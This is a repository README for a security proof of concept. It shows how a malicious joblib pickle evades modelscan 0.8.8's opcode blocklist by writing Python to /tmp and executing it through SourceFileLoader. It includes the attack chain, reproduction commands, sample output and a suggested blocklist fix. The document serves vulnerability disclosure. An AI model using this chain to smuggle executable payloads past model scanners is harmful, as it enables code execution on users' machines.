Steven-Ni's picture
Upload 4 files
7f8aa3f verified
---
tags:
- security
- pickle
- proof-of-concept
license: mit
---
# PoC: modelscan bypass via `_io.TextIOWrapper.write` + `FileLoader.load_module`
**Security research proof-of-concept.**
Demonstrates that `modelscan` (v0.8.8) fails to detect a malicious `.joblib` file that achieves arbitrary code execution using only standard-library primitives absent from `unsafe_globals`.
## Vulnerability summary
modelscan uses a blocklist of dangerous `GLOBAL` opcodes to detect malicious pickle payloads. Six primitives required for a self-contained write-then-execute RCE chain are entirely absent from the blocklist:
| GLOBAL opcode | Why it bypasses modelscan |
|---|---|
| `io open` | `"io"` key absent from `unsafe_globals` |
| `_io TextIOWrapper.write` | `"_io"` key entirely absent from modelscan settings |
| `_io TextIOWrapper.flush` | Same |
| `_io TextIOWrapper.close` | Same |
| `_frozen_importlib_external SourceFileLoader` | Not listed at any severity level |
| `_frozen_importlib_external FileLoader.load_module` | Same |
modelscan reports **zero issues**. `joblib.load()` executes attacker-controlled code.
## Attack chain (single `joblib.load()` call, no preconditions)
```
io.open("/tmp/_poc.py", "w") -> writable file handle fh
_io.TextIOWrapper.write(fh, "import os; os.system('id')") -> writes code to disk
_io.TextIOWrapper.flush(fh) + close(fh)
SourceFileLoader("x", "/tmp/_poc.py") -> loader
FileLoader.load_module(loader, "x") -> executes /tmp/_poc.py -> RCE
```
No `marshal`, no `types.FunctionType`, no `os.system`, no `subprocess`.
## Reproduce
```bash
# Install dependencies
pip install modelscan joblib
# Clone this repo
git clone https://huggingface.co/Steven-Ni/modelscan-bypass-poc
cd modelscan-bypass-poc
# Generate payload (or use pre-built bypass.joblib)
python generate_payload.py
# Run full reproduction
python reproduce.py
```
### Expected output
```
============================================================
STEP 1: modelscan scan
============================================================
modelscan version : 0.8.8
total_issues : 0
-> CLEAN (false negative confirmed)
============================================================
STEP 2: joblib.load() - payload executes
============================================================
[PoC] _io.TextIOWrapper.write + FileLoader.load_module bypass
[PoC] running as: uid=1000(user) gid=1000(user) groups=...
[PoC] hostname : victim-machine
============================================================
BYPASS CONFIRMED
modelscan reported zero issues.
joblib.load() executed attacker-controlled code.
============================================================
```
## Affected version
| Package | Version | Status |
|---|---|---|
| modelscan | 0.8.8 (latest) | Vulnerable |
## Technique novelty
Prior published write-then-execute chains use `_frozen_importlib_external._write_atomic()` as the write primitive. This PoC uses `io.open` + `_io.TextIOWrapper.write` — a distinct primitive with no prior CVE, GHSA, or public PoC.
## Suggested fix
```python
# modelscan/settings.py
"CRITICAL": {
...
"io": ["open"],
"_io": ["TextIOWrapper", "FileIO"],
"_frozen_importlib_external": "*",
"_frozen_importlib": "*",
}
```